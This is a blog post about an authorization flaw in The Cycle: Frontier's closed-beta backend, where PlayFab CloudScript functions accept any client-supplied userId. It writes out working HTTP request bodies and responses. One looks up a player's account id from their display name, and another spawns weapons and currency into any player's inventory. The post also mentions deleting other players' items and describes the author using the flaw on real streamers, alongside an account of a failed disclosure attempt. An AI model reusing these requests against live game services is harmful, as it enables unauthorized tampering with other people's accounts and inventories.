The Cycle: Frontier - Closed Beta Exploits

Today we take a look at a game called The Cycle: Frontier which is currently having a closed beta test. The game is protected with EasyAntiCheat, but as you will see, that does not matter for this exploit.

First, I will give you an example of what is possible.

Inventory example
Durability example

Backend Infrastructure

The game runs their lobby multiplayer services using Azure PlayFab from Microsoft, with CloudScript for custom functions. I do not have experience with either of those services, but according to the CloudScript documentation you can “write javascript function which get executed directly on the PlayFab machines”. At the current time, they use version 1.46.200914 which you can download here.

The game traffic uses Unreal Engine 4 dedicated servers and were not looked at.

  • When you start the game, it sends requests to https://A22AB.playfabapi.com. This is the PlayFab API, A22AB is the title identifer of the game. Another title identifier they use is 2EA46 which is default and hardcoded, but it is currently unknown when this is used.

  • Analytics are sent to https://gameanalytics-live.prod-1.eu-west-1.infra.yager-development.com and https://yager.de.

  • There is also a SignalR connection opened to wss://thecycle-pts.service.signalr.net.

CloudScript

As mentioned earlier, CloudScript has custom function written by the developers themselves instead of Microsoft. The functions they implemented are basically used for everything you can do in the lobby.

  • Selling / buying gear
  • Inventory management
  • Friendlist
  • Matchmaking
  • Vivox
  • Crafting
  • Quarter
  • And more..

This in itself is fine, but the implementation behind it is not. You can basically mess with anyone, just by knowing their in-game username. Which is visible in different places.

  • Aiming at someone in the lobby
  • In the top left when deploying
  • When you get killed in-game

Abusing CloudScript

What is the worst thing that can happen when you trust all user input? I will give you an example.

The shown user ids here are fake and do not belong to real players.

1. /Client/GetAccountInfo

Request

{
  "TitleDisplayName": "SomeRandomDude1234"
}

Response

{
  "code": 200,
  "status": "OK",
  "data": {
    "AccountInfo": {
      "PlayFabId": "AAAABBBBCCCCDDDD",
      "Created": "2021-10-20T22:00:00.000Z",
      "TitleInfo": {
        "DisplayName": "SomeRandomDude1234",
        "Created": "2021-10-20T22:00:00.000Z",
        "TitlePlayerAccount": {
          "Id": "FFFFAAAAFFFFAAAA",
          "Type": "title_player_account",
          "TypeString": "title_player_account"
        }
      }
    }
  }
}

Take note of the PlayFabId as you will need this later. Which in this case is AAAABBBBCCCCDDDD.

2. /CloudScript/ExecuteFunction

The most interesting function at this moment is CompleteInventoryUpdate, it has the ability to create and delete items from your inventory. The function parameters are as followed.

{
  "userId": "AAAABBBBCCCCDDDD",
  "reason": "UI_DRAG",
  "itemsToRemove": [],
  "itemsToAdd": [
    {
      "itemId": "41daf109-a952-435d-809b-887ce09ef4bc",
      "baseItemId": "WP_A_Sniper_Gauss_01",
      "vanityId": "",
      "secondaryVanityId": "",
      "level": 5,
      "amount": 1,
      "durability": -1,
      "modData": {
        "m": []
      },
      "insuranceId": "None"
    },
    {
      "itemId": "16f7438c-25e1-4bac-af16-98a4757d9451",
      "baseItemId": "OldCurrency",
      "vanityId": "",
      "secondaryVanityId": "",
      "level": 1,
      "amount": 10000000,
      "durability": -1,
      "modData": {
        "m": []
      },
      "insuranceId": "None"
    }
  ],
  "newSet": {
    "iD": "",
    "userId": "AAAABBBBCCCCDDDD",
    "kit": "",
    "shield": "",
    "helmet": "",
    "weaponOne": "",
    "weaponTwo": "",
    "bag": "",
    "bagItemsAsJsonStr": "{\"m_bagItemsIds\":[]}",
    "safeItemsAsJsonStr": "{\"m_bagItemsIds\":[]}"
  },
  "itemsToUpdateAmount": []
}

You can tweak any of the parameters and you will get whatever you entered inside of your inventory. This ignores stack limits, durability limits and you can use the userId of any player. You can also give weapons a higher level (Gray, Green, Blue, Purple, Legendary) than they originally are, although dropping them in-game seems to revert them to their original rarity. The baseItemId can be found in the game code or from your inventory in other API requests the game makes, I will leave finding these up to you.

Request

{
  "FunctionName": "CompleteInventoryUpdate",
  "FunctionParameter": "{\"userId\":\"AAAABBBBCCCCDDDD\",\"reason\":\"UI_DRAG\",\"itemsToRemove\":[],\"itemsToAdd\":[{\"itemId\":\"41daf109-a952-435d-809b-887ce09ef4bc\",\"baseItemId\":\"WP_A_Sniper_Gauss_01\",\"vanityId\":\"\",\"secondaryVanityId\":\"\",\"level\":5,\"amount\":1,\"durability\":-1,\"modData\":{\"m\":[]},\"insuranceId\":\"None\"},{\"itemId\":\"16f7438c-25e1-4bac-af16-98a4757d9451\",\"baseItemId\":\"OldCurrency\",\"vanityId\":\"\",\"secondaryVanityId\":\"\",\"level\":1,\"amount\":10000000,\"durability\":-1,\"modData\":{\"m\":[]},\"insuranceId\":\"None\"}],\"newSet\":{\"iD\":\"\",\"userId\":\"AAAABBBBCCCCDDDD\",\"kit\":\"\",\"shield\":\"\",\"helmet\":\"\",\"weaponOne\":\"\",\"weaponTwo\":\"\",\"bag\":\"\",\"bagItemsAsJsonStr\":\"{\\\"m_bagItemsIds\\\":[]}\",\"safeItemsAsJsonStr\":\"{\\\"m_bagItemsIds\\\":[]}\"},\"itemsToUpdateAmount\":[]}",
  "GeneratePlayStreamEvent": false
}

Response

{
  "code": 200,
  "status": "OK",
  "data": {
    "ExecutionTimeMilliseconds": 100,
    "FunctionName": "CompleteInventoryUpdate",
    "FunctionResult": {
      "reason": 1,
      "itemsRemoved": [],
      "itemsAdded": [
        {
          "itemId": "11223344AABBCCDD",
          "baseItemId": "WP_A_Sniper_Gauss_01",
          "vanityId": "",
          "secondaryVanityId": "",
          "level": 5,
          "amount": 1,
          "durability": -1,
          "modData": {
            "m": []
          },
          "insuranceId": "None"
        },
        {
          "itemId": "AABBCCDD11223344",
          "baseItemId": "OldCurrency",
          "vanityId": "",
          "secondaryVanityId": "",
          "level": 1,
          "amount": 10000000,
          "durability": -1,
          "modData": {
            "m": []
          },
          "insuranceId": "None"
        }
      ],
      "itemsUpdated": [],
      "newSet": {
        "id": "",
        "userId": "AAAABBBBCCCCDDDD",
        "kit": "",
        "shield": "",
        "helmet": "",
        "weaponOne": "",
        "weaponTwo": "",
        "bag": "",
        "bagItemsAsJsonStr": "{\"m_bagItemsIds\":[]}",
        "safeItemsAsJsonStr": "{\"m_bagItemsIds\":[]}"
      },
      "userId": "AAAABBBBCCCCDDDD",
      "error": null
    }
  }
}

The response assigns itemIds to the items you spawned and places them in your inventory. Restart the game to trigger the /Client/GetUserInventory request, you can also join a game and exit it. This makes the new item appear in your inventory.

Other things

You can also delete items from someone their inventory or purchase stuff from the shop for them with their own currency.

This easy?

Yes, the exploit is very easy and anybody can do it with a simple HTTP proxy such as Charles, Fiddler. Simply register them as a system proxy, open the game and watch the traffic.

If you want to really reverse the game binary, you can find a pretty recent pdb file in steamdb here which should speed up some things. To download this use SteamRE/DepotDownloader with the following command.

You must have access to “The Cycle Playtest” on steam with the account used.

.\DepotDownloader.exe -app 1600360 -depot 1600361 -manifest 7404592374689365784 -username <username> -remember-password

Giving weapons

To make the exploits known, we decided to give the Zeus Beam and the Karma-1 to the two streamers OmidLive and ZChum on the morning of 27/10/2021, and watch what happens. At first they seemed happy but quickly assumed it was given by the developers, which their viewers also started believing. When more people got wind of this it quickly became less fun.

I sent my apologies to ZChum afterwards, telling him I was going to post more information soon (this blogpost). I hoped a moderator would contact me to ask for more information, because I knew through his stream that he was in talks with one. After a bit of silence I got banned by a moderator of the discord server, which as far as I know, is not even employed to YAGER.

Discord Ban

About responsible disclosure

I rarely look at games and I really like this game. When the servers were having a bad time I went to investigate what was going on with the traffic of my client, because you know, it is interesting to see how stuff works. Doing this I noticed all the HTTP requests containing my userId and wondered what happened if I replaced it with one of my friend. This worked so I thought about what to do with it.

As my first attempt I sent a message on Twitter to @TheCycleGame, hoping to figure out how to contact the right people to talk with.

This was on 24/10/2021 and I got the first reply in the morning of 25/10/2021.

Twitter Contact

I felt like I was not being taken seriously, I do not really care about any rewards but I wanted to stress the importance of a proper program to handle security related issue’s. After this I tried to contact a YAGER developer on Discord at 26/10/2021, which I found in the official discord server.

Discord Contact 1
Discord Contact 1

I got redirected to the community managers again so at this point I gave up.

The game is currently in closed beta and will get wiped after, so I had a little bit of fun. Gave myself some gear and weapons to try out, and gave weapons to the 2 streamers mentioned before. I hoped these were the kind of things they would be interested in during a test.

Written on October 27, 2021